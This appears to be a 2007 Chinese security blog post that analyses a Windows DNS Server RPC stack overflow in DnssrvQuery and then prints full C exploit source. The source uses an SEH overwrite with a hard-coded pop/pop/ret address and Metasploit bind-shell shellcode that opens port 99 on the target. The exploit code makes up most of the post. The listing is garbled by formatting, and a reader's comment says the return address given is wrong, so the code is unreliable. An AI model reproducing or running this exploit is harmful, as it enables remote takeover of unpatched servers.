2007年5月24日星期四

[Exploit]DNS RPC 分析

Author: 云舒
Date: 2007-04-27
http://www.ph4nt0m.org

根据安全公告的漏洞描述,漏洞发生在dns.exe程序中的DnssrvQuery函数,这个函数是一个RPC函数,允许客户端进行远程调用。先用IDA对

dns.exe进行静态的反汇编分析,找到如下调用关系:

找到地址010154EC处,看到代码如下:

.text:010154EC                 cmp     cl, 5Ch            ; is '\'?
.text:010154EF                 jnz     short loc_1015484    ; Next Char
.text:010154F1                 push    [ebp+arg_4]
.text:010154F4                 push    edi
.text:010154F5                 push    ebx
.text:010154F6                 call    _extractQuotedChar@12 ; extractQuotedChar(x,x,x)
.text:010154FB                 mov     edi, eax
.text:010154FD                 mov     eax, [ebp+arg_0]
.text:01015500                 inc     ebx
.text:01015501                 jmp     short loc_1015484 



其实这些对我来说关系不大,看了漏洞描述就成。我需要的是找到这个地址0x010154EC好进行动态调试。加载dns.exe,在010154EC处下断点,发送这样的字符,可以看见栈内存被覆盖。我在Windows Server 2003 Standard Chinese SP1上进行的调试,开始覆盖的起始内存地址为0x0138F6AF处。因为有stack cookie,所以选择覆盖SEH地址。

看看栈里面,发现最近的SEH地址为0x0138FD10,距离覆盖开始的距离为1633字节。一直加大字节数,最终会覆盖到分页未映射的内存区域,触发异常,接管程序流程。测试之后发现esp+12是在我们的覆盖范围之内,这样就是需要找一个pop/pop/ret的转跳地址。经过分析,在 windows server 2003 Standard sp1中文版上面,需要的地址为0x769C1A61(这个地址不错,这里可以连续pop三次再ret,不过我们只需要两次pop)。由于需要在字符前面加上'\'绕过长度检测,因此,覆盖到SEH的长度为1633 * 2 字节。覆盖到SEH pop/pop/ret之后,程序会跳到SEH的前面,这就又需要往高址转跳6个字节,EB 06就可以了。

最终在内存中的数据示意图如下:

内存低址                                                                    内存高址
NOP NOP NOP NOP NOP
. . . .EB 06 NOP NOP pop/pop/ret shellcode NOP NOP NOP. . . .



执行顺序为触发异常,接管执行pop/pop/ret,执行到eb 06,再执行到shellcode,收工。

针对上述分析,我写了一个测试性质的攻击程序,不具备危害性,经过测试,这些分析正确,攻击代码见后。(编译这段代码很麻烦的,嘿嘿,先要 midl编译idl文件,然后再编译这段CPP代码)这段代码纯粹是为了演示和分析用,对公司内部的讲座,如果被人修改了进行攻击,偶不管……其实修改这个EXP很容易……—_—!


/*
DNS_RPC

by 云舒
http://www.ph4nt0m.org

Windows Server 2003 Standard Chinese SP1

开始覆盖        0138F6AF
SEH             0138FD10
未映射内存区域    01390000

1633字节 + 4字节的POP/RET 刚好覆盖到SEH,执行到0138F380

769C1A61    Windows Server 2003 Standard CN SP1

加大字节覆盖到未映射内存区域,引发异常接管。

需要注意的是,要在有效字符之前插入反斜杠,所以长度翻倍。我这里的做法是先忽略反斜杠因素,构造好整个缓冲区,然后再插入反斜杠。个人觉得我的代码还是比较清晰的,起码比MilW0rm上面的简洁明了。
*/

#include 
<winsock2.h>
#include 
<windows.h>
#include 
<stdio.h>
#include 
<Rpc.h>
#include 
"dnsxpl.h"

#pragma comment( lib, 
"ws2_32.lib" )
#pragma comment( lib, 
"Rpcrt4.lib" )

#define    OBJ_UUID    "50abc2a4-574d-40b3-9d66-ee4fd5fba076"
#define    PRO_SEQ        "ncacn_ip_tcp"

/* win32_bind -  EXITFUNC=seh LPORT=99 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned 
char shell[] =
"\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfa"
"\xac\x69\x80\x83\xeb\xfc\xe2\xf4\x06\xc6\x82\xcd\x12\x55\x96\x7f"
"\x05\xcc\xe2\xec\xde\x88\xe2\xc5\xc6\x27\x15\x85\x82\xad\x86\x0b"
"\xb5\xb4\xe2\xdf\xda\xad\x82\xc9\x71\x98\xe2\x81\x14\x9d\xa9\x19"
"\x56\x28\xa9\xf4\xfd\x6d\xa3\x8d\xfb\x6e\x82\x74\xc1\xf8\x4d\xa8"
"\x8f\x49\xe2\xdf\xde\xad\x82\xe6\x71\xa0\x22\x0b\xa5\xb0\x68\x6b"
"\xf9\x80\xe2\x09\x96\x88\x75\xe1\x39\x9d\xb2\xe4\x71\xef\x59\x0b"
"\xba\xa0\xe2\xf0\xe6\x01\xe2\xc0\xf2\xf2\x01\x0e\xb4\xa2\x85\xd0"
"\x05\x7a\x0f\xd3\x9c\xc4\x5a\xb2\x92\xdb\x1a\xb2\xa5\xf8\x96\x50"
"\x92\x67\x84\x7c\xc1\xfc\x96\x56\xa5\x25\x8c\xe6\x7b\x41\x61\x82"
"\xaf\xc6\x6b\x7f\x2a\xc4\xb0\x89\x0f\x01\x3e\x7f\x2c\xff\x3a\xd3"
"\xa9\xff\x2a\xd3\xb9\xff\x96\x50\x9c\xc4\x69\xe3\x9c\xff\xe0\x61"
"\x6f\xc4\xcd\x9a\x8a\x6b\x3e\x7f\x2c\xc6\x79\xd1\xaf\x53\xb9\xe8"
"\x5e\x01\x47\x69\xad\x53\xbf\xd3\xaf\x53\xb9\xe8\x1f\xe5\xef\xc9"
"\xad\x53\xbf\xd0\xae\xf8\x3c\x7f\x2a\x3f\x01\x67\x83\x6a\x10\xd7"
"\x05\x7a\x3c\x7f\x2a\xca\x03\xe4\x9c\xc4\x0a\xed\x73\x49\x03\xd0"
"\xa3\x85\xa5\x09\x1d\xc6\x2d\x09\x18\x9d\xa9\x73\x50\x52\x2b\xad"
"\x04\xee\x45\x13\x77\xd6\x51\x2b\x51\x07\x01\xf2\x04\x1f\x7f\x7f"
"\x8f\xe8\x96\x56\xa1\xfb\x3b\xd1\xab\xfd\x03\x81\xab\xfd\x3c\xd1"
"\x05\x7c\x01\x2d\x23\xa9\xa7\xd3\x05\x7a\x03\x7f\x05\x9b\x96\x50"
"\x71\xfb\x95\x03\x3e\xc8\x96\x56\xa8\x53\xb9\xe8\x0a\x26\x6d\xdf"
"\xa9\x53\xbf\x7f\x2a\xac\x69\x80";

void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }
void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }

void    Usage( char *ProgramName );
void    Exploit( char *Host, char * RpcPort );

int main( int argc, char *argv[] )
{
    WSAData        Wsa;

    
char        Host[20= { 0 };    // 目标主机,网络字节顺序
    char        RpcPort[8= { 0 };            // 目标机器RPC高端口
    
    
// 初始化网络库
    if( WSAStartup(0x0202&Wsa) != 0 )
    {
        printf( 
"[-] WSAStartup failed with error: %d\n" , GetLastError() );
        
return -1;
    }

    
if( argc != 3 )
    {
        Usage( argv[
0] );
        
return -1;
    }

    strncpy( Host, argv[
1], sizeof(Host) -1 );
    strncpy( RpcPort, argv[
2], sizeof(RpcPort) - 1 );
    
    
if( atoi(RpcPort) <= 1024 )
    {
        Usage( argv[
0] );
        
return -1;
    }

    Exploit( Host, RpcPort );

    
return 1;
}

// 显示帮助
void Usage( char *ProgramName )
{
    printf( 
"Usage: %s  <TargetIP>  <RpcPort>\n", ProgramName );
}

void Exploit( char *Host, char *RpcPort )
{
    unsigned 
char    *StringBinding = NULL;
    unsigned 
char    *Options = NULL;

    RPC_STATUS Status 
= RpcStringBindingComposeA( (unsigned char *)OBJ_UUID,
                                                    (unsigned 
char *)PRO_SEQ,
                                                    (unsigned 
char *)Host,
                                                    (unsigned 
char *)RpcPort,
                                                    Options,
                                                    
&StringBinding );

    
if( RPC_S_OK != Status )
    {
        printf( 
"[-] RpcStringBindingCompose failed, exit!\n" );
        exit(
-1);
    }
    printf( 
"[+] Connect to %s successful!\n", StringBinding );

    
//RPC_BINDING_HANDLE    Dns;

    Status 
= RpcBindingFromStringBindingA( (unsigned char *)StringBinding, &dns );
    
if( RPC_S_OK != Status )
    {
        printf( 
"[-] RpcBindingFromStringBinding failed, exit!\n" );
        exit(
-1);
    }
    printf( 
"[+] RpcBindingFromStringBinding successful!\n" );

    wchar_t    
* ArguA = L"ph4nt0myunshu";

    
int    BuffSize = 4000;

    unsigned 
char    * TmpBuff = (unsigned char *)malloc( BuffSize );

    
// 填充缓冲区
    memset( (void *)TmpBuff, '\x90', BuffSize );
    
    
// 加入Pop/Pop/Ret转跳地址,覆盖SEH
    int    PopRet = 1633;
    memset( (
void *)(TmpBuff + PopRet), '\x60'1 );
    memset( (
void *)(TmpBuff + PopRet + 1), '\x1A'1 );
    memset( (
void *)(TmpBuff + PopRet + 2), '\x9C'1 );
    memset( (
void *)(TmpBuff + PopRet + 3), '\x76'1 );

    
// 加入二次转跳命令,往高址跳6字节,跳到seh的高址,执行
    memset( (void *)(TmpBuff + PopRet - 4), '\xEB'1 );
    memset( (
void *)(TmpBuff + PopRet - 3), '\x06'1 );

    
// shellcode字符数组后面会有一个\x00,所以需要sizeof-1
    memcpy( (void *)(TmpBuff + PopRet + 4), (void *)shell, sizeof(shell) - 1 );

    
/*
    内存低址                                                    内存高址
    NOP NOP NOP NOP NOP NOP NOP   eb 06 90 90 pop/pop/ret  shellcode NOP NOP NOP
    
*/
    
    
// 插入反斜杠,转换为"\x5c\x90\x5c\x90\x5c\x90..\x5c\xeb\x5c\x06"格式
    unsigned char    * ArguB = (unsigned char *)malloc( BuffSize * 2 + 4 );
    memset( (
void *)ArguB, '\', BuffSize * 2 + 4 );

    
forint index = 0; index < BuffSize; index ++ )
    {
        ArguB[index 
* 2 + 1= TmpBuff[index];
    }

    ArguB[BuffSize 
* 2 + 4 -1= '';

    unsigned 
char    *ArguC = (unsigned char *)malloc( 10 );
    strcpy( (
char *)ArguC, "ICYLIFE" );
    
long            *ArguD = (long *)malloc( 20 );
    
long            *ArguE = (long *)malloc( 20 );

    
// 发送exp数据
    printf( "[+] Try to telnet 99 port, good luck!\n" );
    RpcTryExcept
    {
        Status 
= DnssrvQuery( ArguA, ArguB, ArguC, ArguD, ArguE );
    }

    RpcExcept(
1)
    {
        Status 
= RpcExceptionCode( );
        
//printf( "[-] RPC Server reported exception 0x%lx = %ld\n", Status, Status );
    }
    RpcEndExcept

    free( TmpBuff );
    free( ArguB );
    free( ArguC );
    free( ArguD );
    free( ArguE );

1 条评论:

心路 说...

NND,以前这个地址写错成了0x769C1A61,还没人肯改过来。